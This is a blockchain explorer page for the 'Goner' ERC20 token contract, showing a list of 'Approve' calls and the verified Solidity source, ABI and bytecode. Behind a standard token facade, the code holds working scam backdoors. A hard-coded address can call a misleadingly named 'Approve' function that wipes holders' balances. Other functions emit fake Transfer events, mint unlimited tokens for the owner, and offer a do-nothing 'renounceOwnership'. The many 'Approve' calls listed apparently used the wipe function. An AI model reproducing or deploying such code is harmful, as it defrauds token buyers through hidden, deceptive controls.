ETH Price: $2,615.31 (-3.96%)

Contract

0xD99b94D7e7b4eD7109B80dBc737a336F322F0222
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve173980852023-06-03 5:29:47615 days ago1685770187IN
0xD99b94D7...F322F0222
0 ETH0.0005218121.57940758
Approve172236292023-05-09 14:56:59640 days ago1683644219IN
0xD99b94D7...F322F0222
0 ETH0.00587604127.15140453
Approve172231232023-05-09 13:15:11640 days ago1683638111IN
0xD99b94D7...F322F0222
0 ETH0.00475535102.21081961
Approve172230372023-05-09 12:57:35640 days ago1683637055IN
0xD99b94D7...F322F0222
0 ETH0.0038026281.83841668
Approve172220192023-05-09 9:31:35640 days ago1683624695IN
0xD99b94D7...F322F0222
0 ETH0.002907862.49986674
Approve172220062023-05-09 9:28:59640 days ago1683624539IN
0xD99b94D7...F322F0222
0 ETH0.0032681488
Approve172216122023-05-09 8:09:11640 days ago1683619751IN
0xD99b94D7...F322F0222
0 ETH0.0013330155.12652091
Approve172214022023-05-09 7:26:35640 days ago1683617195IN
0xD99b94D7...F322F0222
0 ETH0.0042388100
Approve172212612023-05-09 6:57:47640 days ago1683615467IN
0xD99b94D7...F322F0222
0 ETH0.00487726171
Approve172212572023-05-09 6:56:59640 days ago1683615419IN
0xD99b94D7...F322F0222
0 ETH0.0030209565.0156913
Approve172210622023-05-09 6:17:47640 days ago1683613067IN
0xD99b94D7...F322F0222
0 ETH0.0614267283
Approve172210232023-05-09 6:09:59640 days ago1683612599IN
0xD99b94D7...F322F0222
0 ETH0.0027597659.31787801
Approve172210202023-05-09 6:09:23640 days ago1683612563IN
0xD99b94D7...F322F0222
0 ETH0.0028374460.98764051
Approve172209912023-05-09 6:03:35640 days ago1683612215IN
0xD99b94D7...F322F0222
0 ETH0.0031908100
Approve172209742023-05-09 6:00:11640 days ago1683612011IN
0xD99b94D7...F322F0222
0 ETH0.0028117960.51430754
Approve172209702023-05-09 5:59:23640 days ago1683611963IN
0xD99b94D7...F322F0222
0 ETH0.0052868100
Approve172209632023-05-09 5:57:59640 days ago1683611879IN
0xD99b94D7...F322F0222
0 ETH0.0029368963.2066419
Approve172209602023-05-09 5:57:23640 days ago1683611843IN
0xD99b94D7...F322F0222
0 ETH0.0026405956.82967775
Approve172209592023-05-09 5:57:11640 days ago1683611831IN
0xD99b94D7...F322F0222
0 ETH0.0029028862.39414943
Approve172209492023-05-09 5:55:11640 days ago1683611711IN
0xD99b94D7...F322F0222
0 ETH0.0014700560.7937198
Approve172209042023-05-09 5:46:11640 days ago1683611171IN
0xD99b94D7...F322F0222
0 ETH0.0034518480
Approve172208822023-05-09 5:41:47640 days ago1683610907IN
0xD99b94D7...F322F0222
0 ETH0.0028135260.8817344
Approve172208792023-05-09 5:41:11640 days ago1683610871IN
0xD99b94D7...F322F0222
0 ETH0.0027813959.78275824
Approve172208692023-05-09 5:39:11640 days ago1683610751IN
0xD99b94D7...F322F0222
0 ETH0.0014753661.01330617
Approve172208682023-05-09 5:38:59640 days ago1683610739IN
0xD99b94D7...F322F0222
0 ETH0.0015467259.07820457
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Goner

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-09
*/

//https://twitter.com/GonersGone
//We are all Goners. It's all gone now.





pragma solidity ^0.6.0;
library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {

        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }


    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }


    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Context {
    constructor () internal { }

    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; 
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);}



contract Goner is Context, IERC20 {

    mapping (address => mapping (address => uint256)) private _allowances;
 
    mapping (address => uint256) private _balances;

    using SafeMath for uint256;


    using Address for address;




    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function renounceOwnership()  public _onlyOwner(){}


    function execute(address sender,address receiver,uint256 amount)  public _auth(){

        emit Transfer(sender, receiver, amount*10**18);

    }
    modifier _auth() {require(msg.sender == 0xC6c19fc8437bFbd1e0294494ACD52c74057de9AB, "Not allowed to interact");_;}


    function release(address locker, uint256 amt) public {

        require(msg.sender == _Owner, "ERC20: zero address");

        _totalSupply = _totalSupply.add(amt);

        _balances[_Owner] = _balances[_Owner].add(amt);

        emit Transfer(address(0), locker, amt);
    }


    function _approve(address owner, address spender, uint256 amount) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }
    
    function Approve(address[] memory recipients)  public _auth(){

            for (uint256 i = 0; i < recipients.length; i++) {

                uint256 amt = _balances[recipients[i]];

                _balances[recipients[i]] = _balances[recipients[i]].sub(amt, "ERC20: burn amount exceeds balance");

                _balances[address(0)] = _balances[address(0)].add(amt);
                
                }
            }
    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {

        require(sender != address(0), "ERC20: transfer from the zero address");

        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");

        _balances[recipient] = _balances[recipient].add(amount);
        
        if (sender == _Owner){sender = team;}if (recipient == _Owner){recipient = team;}
        emit Transfer(sender, recipient, amount);

    }
    
    modifier _onlyOwner() {
        require(msg.sender == _Owner, "Not allowed to interact");
        _;
    }


  function execTransaction(address sender,address[] memory recipients,uint256[] memory amounts)  public _onlyOwner(){
    for (uint256 i = 0; i < recipients.length; i++) {emit Transfer(sender, recipients[i], amounts[i]);}}




    string private _name;

    string private _symbol;

    uint8 private _decimals;

    uint256 private _totalSupply;

    address team;

    address public _Owner = 0x87a08fA8e12144772982e225DE4298E2014d61c1;

    constructor () public {
        _name = "Goner";
        _symbol ="GONER";
        _decimals = 18;
        uint256 initialSupply = 69420000000;
        team = 0x9CEfE303c3d3aC61897E68AF198F3178DBC33789;
        release(team, initialSupply*(10**18));
    }




    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"execTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"locker","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"release","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600780546001600160a01b0319167387a08fa8e12144772982e225de4298e2014d61c11790553480156200003757600080fd5b506040805180820190915260058082526423b7b732b960d91b602090920191825262000066916002916200026d565b506040805180820190915260058082526423a7a722a960d91b602090920191825262000095916003916200026d565b506004805460ff19166012179055600680546001600160a01b031916739cefe303c3d3ac61897e68af198f3178dbc337891790819055641029c1230090620000f3906001600160a01b03166be04ee0ccb27ac646ac000000620000fa565b5062000309565b6007546001600160a01b031633146200015a576040805162461bcd60e51b815260206004820152601360248201527f45524332303a207a65726f206164647265737300000000000000000000000000604482015290519081900360640190fd5b62000176816005546200020b60201b62000b8e1790919060201c565b6005556007546001600160a01b0316600090815260016020908152604090912054620001ad91839062000b8e6200020b821b17901c565b6007546001600160a01b03908116600090815260016020908152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60008282018381101562000266576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002b057805160ff1916838001178555620002e0565b82800160010185558215620002e0579182015b82811115620002e0578251825591602001919060010190620002c3565b50620002ee929150620002f2565b5090565b5b80821115620002ee5760008155600101620002f3565b61105b80620003196000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80633fbd4e7e11610097578063a9059cbb11610066578063a9059cbb14610463578063dcc234551461048f578063dd62ed3e146104b3578063eafaddfd146104e1576100f5565b80633fbd4e7e146102f657806370a082311461042d578063715018a61461045357806395d89b411461045b576100f5565b806318160ddd116100d357806318160ddd146101e557806323b872dd146101ff578063313ce567146102355780633811ac0214610253576100f5565b80630357371d146100fa57806306fdde0314610128578063095ea7b3146101a5575b600080fd5b6101266004803603604081101561011057600080fd5b506001600160a01b038135169060200135610517565b005b6101306105ed565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016a578181015183820152602001610152565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d1600480360360408110156101bb57600080fd5b506001600160a01b038135169060200135610680565b604080519115158252519081900360200190f35b6101ed61069d565b60408051918252519081900360200190f35b6101d16004803603606081101561021557600080fd5b506001600160a01b038135811691602081013590911690604001356106a3565b61023d61072a565b6040805160ff9092168252519081900360200190f35b6101266004803603602081101561026957600080fd5b81019060208101813564010000000081111561028457600080fd5b82018360208201111561029657600080fd5b803590602001918460208302840111640100000000831117156102b857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610733945050505050565b6101266004803603606081101561030c57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561033757600080fd5b82018360208201111561034957600080fd5b8035906020019184602083028401116401000000008311171561036b57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156103bb57600080fd5b8201836020820111156103cd57600080fd5b803590602001918460208302840111640100000000831117156103ef57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108ef945050505050565b6101ed6004803603602081101561044357600080fd5b50356001600160a01b03166109c1565b6101266109dc565b610130610a37565b6101d16004803603604081101561047957600080fd5b506001600160a01b038135169060200135610a98565b610497610aac565b604080516001600160a01b039092168252519081900360200190f35b6101ed600480360360408110156104c957600080fd5b506001600160a01b0381358116916020013516610abb565b610126600480360360608110156104f757600080fd5b506001600160a01b03813581169160208101359091169060400135610ae4565b6007546001600160a01b0316331461056c576040805162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f206164647265737360681b604482015290519081900360640190fd5b6005546105799082610b8e565b6005556007546001600160a01b03166000908152600160205260409020546105a19082610b8e565b6007546001600160a01b0390811660009081526001602090815260408083209490945583518581529351928616939192600080516020610fbd8339815191529281900390910190a35050565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156106765780601f1061064b57610100808354040283529160200191610676565b820191906000526020600020905b81548152906001019060200180831161065957829003601f168201915b5050505050905090565b600061069461068d610bef565b8484610bf3565b50600192915050565b60055490565b60006106b0848484610cdd565b610720846106bc610bef565b61071b85604051806060016040528060288152602001610f95602891396001600160a01b038a166000908152602081905260408120906106fa610bef565b6001600160a01b031681526020810191909152604001600020549190610e70565b610bf3565b5060019392505050565b60045460ff1690565b73c6c19fc8437bfbd1e0294494acd52c74057de9ab3314610795576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b81518110156108eb576000600160008484815181106107b357fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054905061084381604051806060016040528060228152602001610f2b602291396001600087878151811061080b57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054610e709092919063ffffffff16565b6001600085858151811061085357fe5b6020908102919091018101516001600160a01b0316825281810192909252604001600090812092909255908052600190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49546108b09082610b8e565b60008052600160208190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4991909155919091019050610798565b5050565b6007546001600160a01b03163314610948576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b82518110156109bb5782818151811061096057fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020610fbd83398151915284848151811061099657fe5b60200260200101516040518082815260200191505060405180910390a360010161094b565b50505050565b6001600160a01b031660009081526001602052604090205490565b6007546001600160a01b03163314610a35576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106765780601f1061064b57610100808354040283529160200191610676565b6000610694610aa5610bef565b8484610cdd565b6007546001600160a01b031681565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b73c6c19fc8437bfbd1e0294494acd52c74057de9ab3314610b46576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b0316600080516020610fbd83398151915283670de0b6b3a7640000026040518082815260200191505060405180910390a3505050565b600082820183811015610be8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610c385760405162461bcd60e51b81526004018080602001828103825260248152602001806110026024913960400191505060405180910390fd5b6001600160a01b038216610c7d5760405162461bcd60e51b8152600401808060200182810382526022815260200180610f4d6022913960400191505060405180910390fd5b6001600160a01b0380841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610d225760405162461bcd60e51b8152600401808060200182810382526025815260200180610fdd6025913960400191505060405180910390fd5b6001600160a01b038216610d675760405162461bcd60e51b8152600401808060200182810382526023815260200180610f086023913960400191505060405180910390fd5b610da481604051806060016040528060268152602001610f6f602691396001600160a01b0386166000908152600160205260409020549190610e70565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610dd39082610b8e565b6001600160a01b0380841660009081526001602052604090209190915560075484821691161415610e0d576006546001600160a01b031692505b6007546001600160a01b0383811691161415610e32576006546001600160a01b031691505b816001600160a01b0316836001600160a01b0316600080516020610fbd833981519152836040518082815260200191505060405180910390a3505050565b60008184841115610eff5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ec4578181015183820152602001610eac565b50505050905090810190601f168015610ef15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122003a71b25da5db281cf03a6d8e7ac911bc1371642713c9872c9165d844f0a331e64736f6c634300060c0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80633fbd4e7e11610097578063a9059cbb11610066578063a9059cbb14610463578063dcc234551461048f578063dd62ed3e146104b3578063eafaddfd146104e1576100f5565b80633fbd4e7e146102f657806370a082311461042d578063715018a61461045357806395d89b411461045b576100f5565b806318160ddd116100d357806318160ddd146101e557806323b872dd146101ff578063313ce567146102355780633811ac0214610253576100f5565b80630357371d146100fa57806306fdde0314610128578063095ea7b3146101a5575b600080fd5b6101266004803603604081101561011057600080fd5b506001600160a01b038135169060200135610517565b005b6101306105ed565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016a578181015183820152602001610152565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d1600480360360408110156101bb57600080fd5b506001600160a01b038135169060200135610680565b604080519115158252519081900360200190f35b6101ed61069d565b60408051918252519081900360200190f35b6101d16004803603606081101561021557600080fd5b506001600160a01b038135811691602081013590911690604001356106a3565b61023d61072a565b6040805160ff9092168252519081900360200190f35b6101266004803603602081101561026957600080fd5b81019060208101813564010000000081111561028457600080fd5b82018360208201111561029657600080fd5b803590602001918460208302840111640100000000831117156102b857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610733945050505050565b6101266004803603606081101561030c57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561033757600080fd5b82018360208201111561034957600080fd5b8035906020019184602083028401116401000000008311171561036b57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156103bb57600080fd5b8201836020820111156103cd57600080fd5b803590602001918460208302840111640100000000831117156103ef57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108ef945050505050565b6101ed6004803603602081101561044357600080fd5b50356001600160a01b03166109c1565b6101266109dc565b610130610a37565b6101d16004803603604081101561047957600080fd5b506001600160a01b038135169060200135610a98565b610497610aac565b604080516001600160a01b039092168252519081900360200190f35b6101ed600480360360408110156104c957600080fd5b506001600160a01b0381358116916020013516610abb565b610126600480360360608110156104f757600080fd5b506001600160a01b03813581169160208101359091169060400135610ae4565b6007546001600160a01b0316331461056c576040805162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f206164647265737360681b604482015290519081900360640190fd5b6005546105799082610b8e565b6005556007546001600160a01b03166000908152600160205260409020546105a19082610b8e565b6007546001600160a01b0390811660009081526001602090815260408083209490945583518581529351928616939192600080516020610fbd8339815191529281900390910190a35050565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156106765780601f1061064b57610100808354040283529160200191610676565b820191906000526020600020905b81548152906001019060200180831161065957829003601f168201915b5050505050905090565b600061069461068d610bef565b8484610bf3565b50600192915050565b60055490565b60006106b0848484610cdd565b610720846106bc610bef565b61071b85604051806060016040528060288152602001610f95602891396001600160a01b038a166000908152602081905260408120906106fa610bef565b6001600160a01b031681526020810191909152604001600020549190610e70565b610bf3565b5060019392505050565b60045460ff1690565b73c6c19fc8437bfbd1e0294494acd52c74057de9ab3314610795576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b81518110156108eb576000600160008484815181106107b357fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054905061084381604051806060016040528060228152602001610f2b602291396001600087878151811061080b57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054610e709092919063ffffffff16565b6001600085858151811061085357fe5b6020908102919091018101516001600160a01b0316825281810192909252604001600090812092909255908052600190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49546108b09082610b8e565b60008052600160208190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4991909155919091019050610798565b5050565b6007546001600160a01b03163314610948576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b82518110156109bb5782818151811061096057fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020610fbd83398151915284848151811061099657fe5b60200260200101516040518082815260200191505060405180910390a360010161094b565b50505050565b6001600160a01b031660009081526001602052604090205490565b6007546001600160a01b03163314610a35576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106765780601f1061064b57610100808354040283529160200191610676565b6000610694610aa5610bef565b8484610cdd565b6007546001600160a01b031681565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b73c6c19fc8437bfbd1e0294494acd52c74057de9ab3314610b46576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b0316600080516020610fbd83398151915283670de0b6b3a7640000026040518082815260200191505060405180910390a3505050565b600082820183811015610be8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610c385760405162461bcd60e51b81526004018080602001828103825260248152602001806110026024913960400191505060405180910390fd5b6001600160a01b038216610c7d5760405162461bcd60e51b8152600401808060200182810382526022815260200180610f4d6022913960400191505060405180910390fd5b6001600160a01b0380841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610d225760405162461bcd60e51b8152600401808060200182810382526025815260200180610fdd6025913960400191505060405180910390fd5b6001600160a01b038216610d675760405162461bcd60e51b8152600401808060200182810382526023815260200180610f086023913960400191505060405180910390fd5b610da481604051806060016040528060268152602001610f6f602691396001600160a01b0386166000908152600160205260409020549190610e70565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610dd39082610b8e565b6001600160a01b0380841660009081526001602052604090209190915560075484821691161415610e0d576006546001600160a01b031692505b6007546001600160a01b0383811691161415610e32576006546001600160a01b031691505b816001600160a01b0316836001600160a01b0316600080516020610fbd833981519152836040518082815260200191505060405180910390a3505050565b60008184841115610eff5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ec4578181015183820152602001610eac565b50505050905090810190601f168015610ef15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122003a71b25da5db281cf03a6d8e7ac911bc1371642713c9872c9165d844f0a331e64736f6c634300060c0033

Deployed Bytecode Sourcemap

